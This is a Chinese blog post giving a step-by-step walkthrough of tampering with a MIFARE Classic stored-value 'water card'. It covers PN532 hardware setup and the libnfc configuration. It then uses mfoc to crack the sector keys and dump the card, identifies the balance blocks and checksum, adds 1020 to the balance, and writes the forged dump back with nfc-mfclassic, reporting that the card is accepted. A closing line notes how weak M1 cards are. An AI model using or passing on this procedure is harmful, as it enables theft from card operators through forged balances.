0x01买板子

最便宜的板子pn532,需要买usb转串口的设备,对于kali-rolling,好像是通杀的,无论是PL2303,ch34X,FT232RL(没测试,这个更高端应该没问题),cp2102。

把排针(不是电子专业的,不懂学名)焊接到pn532上,用杜邦线将两个板子连接,hardware is ok.

0x02安装软件

需要安装libnfc,可到githu上下载,解压后

cd xxx
./configure
make
sudo make install

新建`/usr/local/etc/nfc/libnfc.conf

abc@kali:/usr/local/etc/nfc$ cat libnfc.conf
#allow_autoscan = true
device.connstring = "pn532_uart:/dev/ttyUSB0"

安装mfoc、mfcuk,好像要编译下,因kali自带,这里不再说明。

0x03开始

连接设备,开工,拿水卡试下

abc@kali:~$ nfc-list
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyUSB0 opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): 71 3d b3 1e
SAK (SEL_RES): 08

可以识别, 安装正确.

解码

abc@kali:~/nfc$ mfoc -f key -O tmp.mfd
...
Auth with all sectors succeeded, dumping keys to a file!
...

搞定密码

0x04分析数据

这里的数据较为简单, bock17和18储存金额和校验位, 找到校验位的规律为循环出现, 因此, 基于原有数据, 如00 00对应5a 78, 金额加上1020, 得到10 20对应FC 03, 修改结束.

写入到原卡或者空白卡片

abc@kali:~/nfc$ nfc-mfclassic w b tmp.mfd tmp.mfd

0x05

测试, 拿到卡机上测试,发现无法读取, 回到04, 将校验位加减1,重新写入, 测试ok.

0x06

m1卡已经完全失去了安全性, 犯罪成本之低,,,,,,

最新文章

  1. 从js向Action传中文参数出现乱码问题的解决方法
  2. 【HTML点滴】WWW简介
  3. 001 今天开始系统学习C#
  4. Matcher.group
  5. shell脚本循环执行mysql语句
  6. 模仿QQ空间 网页设计
  7. 使用dnsmasq快速搭建内网DNS
  8. Androidstudio 点9图报错的问题
  9. android 动态改变屏幕方向
  10. ThinkPHP - CURD增删改查 - 实例 - 搜索功能
  11. UML类图的常见关系1
  12. Python之列表&元组&字典
  13. 一个字母引发的血案 java.io.File中mkdir()和mkdirs()
  14. 宝爷Debug小记——Cocos2d-x(3.13之前的版本)底层BUG导致Spine渲染花屏
  15. 2018年东北农业大学春季校赛-wyh的吃鸡
  16. 2015 多校联赛 ——HDU5371(manacher + 枚举)
  17. July 05th. 2018, Week 27th. Thursday
  18. 解决在使用gensim.models.word2vec.LineSentence加载语料库时报错 UnicodeDecodeError: 'utf-8' codec can't decode byte......的问题
  19. react-native不是内部或 外部命令,也不是可运行的程序或批处理文件
  20. Fiddler抓包【1】_介绍及界面概述

热门文章

  1. echarts2.0tooltip边框限制导致tooltip显示不全解决办法
  2. UVA1203 Argus
  3. Zedboard初体验
  4. eclipse中如何在当前工程中查找一个字符串
  5. mapping values are not allowed in this context at line 115 column 10
  6. SAP 多语言文本翻译
  7. 在 .NET项目中使用 Redis(2018.10.16)
  8. git创建分支提交到远程分支步骤
  9. Java入门自学笔记
  10. decltype typename